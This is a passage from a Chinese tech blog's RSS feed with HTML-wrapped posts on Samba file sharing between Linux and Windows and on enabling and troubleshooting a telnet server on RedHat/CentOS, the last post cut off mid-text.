text-indent: 2em; ">workgroup = WORKGROUP</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">netbios name = ergo_haier</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">server string = ergo's haier notebook</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">#登录日志</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">log file = /var/log/samba/%m.log</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">max log size = 50</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">#采取那种安全认证方式</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">security = user</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">#给密码加密</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">encrypt passwords = yes</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">smb passwd file = /etc/samba/smbpasswd</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">#samba所有用户信息</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">username map = /etc/samba/smbusers</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">#定义那些机器可以访问，或者那些可以拒绝</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">hosts allow = 10.153.11.xx</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">#以上可以是网段，10.153.11. 这个代表10.153.11.0-255网段。</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">#也可以是多个网段</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">#以下是你想要共享的目录设置</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">[haierdoc]</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">comment = Haier doc</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">path = /doc</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">browseable = yes</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">writable = yes</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">valid users = dudu</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">d、检查配置</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">可以使用命令：testparm</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">执行后，回车，会列出你所有的配置，方便观察。</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">配置完成后，重启/etc/init.d/smb restart</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "><strong>四、linux和windows互相访问</strong></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">1．windows访问linux</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">这个比较简单，通过网上邻居就可以，和访问workgroup中的一台主机是一样的，不多做介绍</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">2．linux访问windows</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">如果windows有共享目录，那么需要我们通过mount命令，将远程主机上的共享目录挂载到本地目录:</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">1）查看远程主机共享目录</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">Smbclient -L 远程主机IP -U windows_user_name #注意 －U 后面是windows用户名</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">输入密码，就会出现共享的目录：</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">[root@ErgoN samba]# smbclient -L 10.153.11.1xx -U xx</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">Password:</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">Domain=[92D68C913D67417] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">Sharename Type Comment</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">--------- ---- -------</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">G (G) Disk</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">centos5.1 Disk</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">IPC$ IPC 远程 IPC</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">session request to 10.153.11.142 failed (Called name not present)</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">session request to 10 failed (Called name not present)</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">Domain=[92D68C913D67417] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">Server Comment</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">--------- -------</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">Workgroup Master</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">--------- -------</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">2）挂载远程资源</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">mount.cifs //10.153.11.1xx/centos5.1 /mnt -o user=xxx<br /><span style="color: #ff0000; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; line-height: normal; text-indent: 0px; word-spacing: 0px; background-color: #f7f9fd; ">&nbsp; &nbsp; &nbsp; mount -t cifs //192.168.2.98/test /mnt/samba/ -o user=administrator</span> </p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">NOTE：网上很多文章说用smbmount，其实这个命令在比较新的系统里面已经没有了，2.6内核以后应该都没有了，使用上面的命令来代替。</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">也可使用 mount -t cifs .... cifs协议包括了smbfs协议。现在也没有单独的smbfs选项了。</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">可能出现问题</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">1．如果出现中文乱码，可能是挂载字符问题，可以选择不同字符挂载选项<br />&nbsp; &nbsp; &nbsp;<span style="color: red; ">mount -t cifs -o iocharset=cp936,utf8 //IP/kankan /mnt&nbsp;</span></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">2．如果出现不能写入等问题，一般为权限问题。</p><img src ="http://www.blogjava.net/kxbin/aggbug/383577.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-07-20 10:34 <a href="http://www.blogjava.net/kxbin/articles/383577.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>不能访问telnet解决方法</title><link>http://www.blogjava.net/kxbin/articles/383528.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Thu, 19 Jul 2012 10:11:00 GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/383528.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/383528.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/383528.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/383528.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/383528.html</trackback:ping><description><![CDATA[<span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">telnet协议是TCP/IP协议族中的一员，是Internet远程登陆服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在终端使用者的电脑上使用telnet程序，用它连接到服务器。&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">一、检测telnet-server的rpm包是否安装&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">OS：RedHat9&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">[root@locahost ~]#rpm -qa telnet-server&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">//出于安全考虑telnet-server.rpm是默认没有安装的，而telnet的客户端是标配。即下面的软件是默认安装的，为了方便测试，也确认一下//&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">[root@locahost ~]#rpm -qa telnet&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">telnet-0.17-25&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">如果没有安装，请安装telnet-server&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">第3张盘上有telnet-server-0.17-25.i386.rpm，进入Server目录下执行&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">[root@locahost ~]#rpm -ivh telnet-server*.i386.rpm&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">二、重新启动xinetd守护进程&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">由于telnet服务也是由xinetd守护的，所以安装完telnet-server，要启动telnet服务就必须重新启动xinetd&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">[root@locahost ~]#service xinetd restart&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">三、测试一下&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">我们先来查看TCP的23端口是否开启正常&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">[root@locahost ~]#netstat -tnl |grep 23&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">如果上面的一行存在就说明服务已经运行了&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">这时我们可以本机通过进一步确认一下&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">[root@locahost ~]# telnet localhost 23&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">Trying telnet 127.0.0.1&#8230;&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">Connected to localhost.localdomain (127.0.0.1)..&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">Escape character is &#8216;^]&#8217;.&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">Red Hat Linux release 9 (Shrike)&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">Kernel 2.4.20-8 on an i686&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">login:&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">如果netstat命令没有返回内容，我们就只好继续进行更深入的配置了。&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">四、排除可能出现的问题&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">修改telnet服务配置文件&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">vi /etc/xinetd.d/telnet&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">service telnet&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">{&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">disable = yes&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">flags = REUSE&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">socket_type = stream&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">wait = no&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">user = root&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">server = /usr/sbin/in.telnetd&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">log_on_failure += USERID&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">}&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">将disable=yes行前加#注释掉，或者把yes改为no，之后重新启动xinetd扩展守护进程&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">[root@localhost ~]# service xinetd restart&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">停止 xinetd： [确定]&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">启动 xinetd： [确定]&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">注意关闭系统防火墙对23端口的限制。&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">[root@localhost ~]# system-config-securitylevel&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">在这里我们可以开启或关闭防火墙，也可以配置防火墙&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">或者：&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">[root@locahost ~]# setup</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">Connection refused&nbsp;</span><br style="line-height: normal; color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; background-color: #06414f; " /><span style="color: #ffffff; font-family: Verdana, Tahoma; font-size: 12px; line-height: normal; background-color: #06414f; ">有可能服务没开，有可能防火墙禁了端口。&nbsp;</span>&nbsp;<img src ="http://www.blogjava.net/kxbin/aggbug/383528.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-07-19 18:11 <a href="http://www.blogjava.net/kxbin/articles/383528.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>CentOS开启telnet服务（转）</title><link>http://www.blogjava.net/kxbin/articles/383526.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Thu, 19 Jul 2012 10:08:00 GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/383526.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/383526.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/383526.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/383526.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/383526.html</trackback:ping><description><![CDATA[<span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">一、安装telnet软件包(通常要两个）。</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; 